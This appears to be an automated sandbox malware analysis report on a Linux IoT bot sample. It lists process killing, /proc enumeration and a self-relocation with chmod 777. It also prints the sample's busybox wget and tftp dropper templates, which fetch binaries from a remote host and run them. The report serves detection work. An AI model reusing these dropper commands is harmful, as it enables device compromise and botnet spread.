Linux Analysis Report qFl1WpWBiv

AV Detection:

Multi AV Scanner detection for submitted file

Source: qFl1WpWBiv

ReversingLabs: Detection: 32%

Bitcoin Miner:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pulseaudio (PID: 5346)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5471)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5493)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated-gl-helper (PID: 5512)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5522)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/bin/gnome-shell (PID: 5552)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5724)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Networking:

Sample listens on a socket

Source: /usr/bin/dbus-daemon (PID: 5389)	Socket: <unknown socket type>:unknown			Jump to behavior
Source: /usr/libexec/gnome-session-binary (PID: 5391)	Socket: <unknown socket type>:unknown			Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5471)	Socket: <unknown socket type>:unknown			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	Socket: <unknown socket type>:unknown			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5511)	Socket: <unknown socket type>:unknown			Jump to behavior
Source: /usr/libexec/gnome-session-binary (PID: 5490)	Socket: <unknown socket type>:unknown			Jump to behavior
Source: /usr/bin/ibus-daemon (PID: 5588)	Socket: <unknown socket type>:unknown			Jump to behavior

URLs found in memory or binary data

Source: qFl1WpWBiv	String found in binary or memory: http://%d.%d.%d.%d:%d/%s
Source: Xorg.0.log.123.dr, syslog.45.dr	String found in binary or memory: http://wiki.x.org
Source: qFl1WpWBiv, 5227.1.00000000828823cd.0000000076bbf833.rw-.sdmp	String found in binary or memory: http://www.cisco.com/go/ciscocp
Source: Xorg.0.log.123.dr, syslog.45.dr	String found in binary or memory: http://www.ubuntu.com/support)
Source: qFl1WpWBiv, 5227.1.00000000828823cd.0000000076bbf833.rw-.sdmp	String found in binary or memory: https://filezilla-project.org/
Source: motd-news.37.dr	String found in binary or memory: https://ubuntu.com/blog/microk8s-memory-optimisation
Source: syslog.45.dr	String found in binary or memory: https://www.rsyslog.com

System Summary:

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 720, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 759, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 761, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 772, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 788, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 793, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 797, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 799, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 800, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 847, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 884, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 904, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 936, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1334, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1335, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1465, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1477, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1860, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1872, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1877, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1890, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1900, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1983, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 2048, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	SIGKILL sent: pid: 5505, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	SIGKILL sent: pid: 5713, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	SIGKILL sent: pid: 5833, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5511)	SIGKILL sent: pid: 5830, result: successful			Jump to behavior

Sample tries to kill a process (SIGKILL)

Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 720, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 759, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 761, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 772, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 788, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 793, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 797, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 799, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 800, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 847, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 884, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 904, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 936, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1334, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1335, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1465, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1477, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1860, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1872, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1877, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1890, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1900, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 1983, result: successful			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	SIGKILL sent: pid: 2048, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	SIGKILL sent: pid: 5505, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	SIGKILL sent: pid: 5713, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	SIGKILL sent: pid: 5833, result: successful			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5511)	SIGKILL sent: pid: 5830, result: successful			Jump to behavior

Sample contains strings that are potentially command strings

Source: Initial sample	Potential command found: GET /arm HTTP/1.0
Source: Initial sample	Potential command found: GET /arm7 HTTP/1.0
Source: Initial sample	Potential command found: GET /mips HTTP/1.0
Source: Initial sample	Potential command found: GET /mipsel HTTP/1.0
Source: Initial sample	Potential command found: GET /powerpc HTTP/1.0
Source: Initial sample	Potential command found: GET /sh4 HTTP/1.0
Source: Initial sample	Potential command found: GET /m68k HTTP/1.0
Source: Initial sample	Potential command found: GET /sparc HTTP/1.0

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox DSELA
Source: Initial sample	String containing 'busybox' found: /bin/busybox mkdir %s; >%s.mk && cd %s
Source: Initial sample	String containing 'busybox' found: /bin/busybox rm -rf .mk %s %s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cp /bin/busybox %s; /bin/busybox cp /bin/busybox %s; >%s; >%s; /bin/busybox chmod 777 %s %s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cp /bin/busybox %s; >%s; /bin/busybox chmod 777 %s
Source: Initial sample	String containing 'busybox' found: cd /tmp; /bin/busybox wget http://%d.%d.%d.%d:%d/%s -O -> %s; /bin/busybox chmod 777 %s; ./%s telnet.%s.wget; >%s
Source: Initial sample	String containing 'busybox' found: cd /tmp; /bin/busybox tftp -r %s -l %s -g %d.%d.%d.%d; /bin/busybox chmod 777 %s; ./%s telnet.%s.tftp; >%s
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -en '%s' %s %s && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s\c' %s %s && /bin/busybox echo '\x45\x43\x48\x4f\x44\x4f\x4e\x45\c'
Source: Initial sample	String containing 'busybox' found: rksn*dfkkobkw#$9yiqfkncfnkbcidhuubdsbinbcuuhuhhce~befc/bin/busybox DSELA
Source: Initial sample	String containing 'busybox' found: [VENUSZUELA] Found ---> [%s:%d %s:%s]mipsmipselpowerpcsh4m68ksparc/bin/busybox cp /bin/busybox %s; >%s; /bin/busybox chmod 777 %s
Source: Initial sample	String containing 'busybox' found: >>/bin/busybox echo -en '%s' %s %s && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'

Classification label

Source: classification engine

Classification label: mal64.spre.troj.lin@0/53@0/0

Persistence and Installation Behavior:

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /usr/bin/dbus-daemon (PID: 5389)	File: /proc/5389/mounts			Jump to behavior
Source: /bin/fusermount (PID: 5396)	File: /proc/5396/mounts			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5489)	File: /proc/5489/mounts			Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5511)	File: /proc/5511/mounts			Jump to behavior
Source: /usr/bin/gjs (PID: 5834)	File: /proc/5834/mounts			Jump to behavior
Source: /usr/bin/gnome-shell (PID: 5552)	File: /proc/5552/mounts			Jump to behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 5223)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 /psl1jjs2d3/psl1jjs2d3

Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 5219)

Mkdir executable: /usr/bin/mkdir -> mkdir /psl1jjs2d3/

Jump to behavior

Executes the "grep" command used to find patterns in files or piped streams

Source: /bin/sh (PID: 5371)

Grep executable: /usr/bin/grep -> grep -F .utf8

Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 5223)

Chmod executable: /usr/bin/chmod -> chmod 777 /psl1jjs2d3/psl1jjs2d3

Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1582/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1582/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2033/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2033/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2033/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2074/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2074/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/670/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/670/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/793/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/793/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1579/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1579/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1699/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1699/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1699/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/674/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/674/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1335/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1335/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1335/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2028/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2028/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/675/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/675/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/796/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/796/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/796/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1334/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1334/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1334/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1532/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1532/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1576/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1576/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/797/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/797/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/797/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/676/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/676/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/677/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/677/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2025/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2025/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2069/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2069/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/799/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/799/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/799/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/910/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/910/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/912/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/912/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/912/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/517/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/517/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/759/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/759/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/759/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/918/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/918/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/918/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1594/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1594/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1349/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1349/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1349/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/761/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/761/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/761/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/840/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/840/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/884/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/884/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/884/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1389/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1389/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1389/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1983/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1983/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1983/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2038/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2038/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/2038/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/720/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/720/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/720/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1344/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1344/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1344/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1465/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1465/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1465/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1586/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1586/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/721/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/721/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/721/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1860/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1860/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1860/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1463/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1463/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/1463/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/800/maps			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/800/exe			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5224)	File opened: /proc/800/exe			Jump to behavior

Creates hidden files and/or directories

Source: /usr/bin/whoopsie (PID: 5308)	Directory: /nonexistent/.cache			Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5352)	Directory: /root/.cache			Jump to behavior

Sample tries to set the executable flag

Source: /usr/bin/chmod (PID: 5223)	File: /psl1jjs2d3/psl1jjs2d3 (bits: - usr: rwx grp: rwx all: rwx)			Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5352)	File: /var/lib/AccountsService/icons (bits: - usr: rx grp: rwx all: rwx)			Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5352)	File: /var/lib/AccountsService/users (bits: - usr: - grp: - all: rwx)			Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/qFl1WpWBiv (PID: 5217)	Shell command executed: /bin/sh -c "mkdir /psl1jjs2d3/ && >/psl1jjs2d3/psl1jjs2d3 && cd /psl1jjs2d3/ >/dev/null"			Jump to behavior
Source: /tmp/qFl1WpWBiv (PID: 5220)	Shell command executed: /bin/sh -c "mv /tmp/qFl1WpWBiv /psl1jjs2d3/psl1jjs2d3 && chmod 777 /psl1jjs2d3/psl1jjs2d3 >/dev/null"			Jump to behavior
Source: /usr/share/language-tools/language-options (PID: 5369)	Shell command executed: sh -c "locale -a | grep -F .utf8 "			Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5480)	Shell command executed: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""			Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5715)	Shell command executed: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""			Jump to behavior

Executes the "rm" command used to delete files or directories

Source: /usr/bin/dash (PID: 5248)

Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.cKEJqxaxsv /tmp/tmp.o57W8c2jCH /tmp/tmp.9D8VQf5YAB

Jump to behavior

Writes log files to disk

Source: /usr/sbin/rsyslogd (PID: 5283)	Log file created: /var/log/kern.log			Jump to dropped file
Source: /usr/sbin/rsyslogd (PID: 5283)	Log file created: /var/log/auth.log			Jump to dropped file
Source: /usr/lib/xorg/Xorg (PID: 5471)	Log file created: /var/log/Xorg.0.log			Jump to dropped file

Malware Analysis System Evasion:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pulseaudio (PID: 5346)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5471)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5493)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated-gl-helper (PID: 5512)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5522)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/bin/gnome-shell (PID: 5552)	Reads CPU info from /sys: /sys/devices/system/cpu/online			Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5724)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/qFl1WpWBiv (PID: 5211)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5283)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/whoopsie (PID: 5308)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5346)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/lib/gdm3/gdm-session-worker (PID: 5374)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gnome-session-binary (PID: 5391)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/lib/gdm3/gdm-session-worker (PID: 5461)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/lib/gdm3/gdm-x-session (PID: 5469)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5471)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/at-spi-bus-launcher (PID: 5506)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/at-spi2-registryd (PID: 5831)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gnome-session-binary (PID: 5490)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5493)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated-gl-helper (PID: 5512)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5522)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gnome-shell (PID: 5552)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/ibus-x11 (PID: 5712)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gsd-wacom (PID: 5856)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gsd-color (PID: 5858)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gsd-keyboard (PID: 5859)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/libexec/gsd-smartcard (PID: 5863)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-media-keys (PID: 5866)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-power (PID: 5880)	Queries kernel information via 'uname':
Source: /usr/bin/pulseaudio (PID: 5724)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-hostnamed (PID: 5901)	Queries kernel information via 'uname':
Source: /usr/libexec/fprintd (PID: 6076)	Queries kernel information via 'uname':

Deletes log files

Source: /usr/lib/xorg/Xorg (PID: 5471)

Truncated file: /var/log/Xorg.pid-5471.log

Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.217] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.462] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.558] (II) vmware(0): Not using default mode "700x450" (bad mode clock/interlace/doublescan)
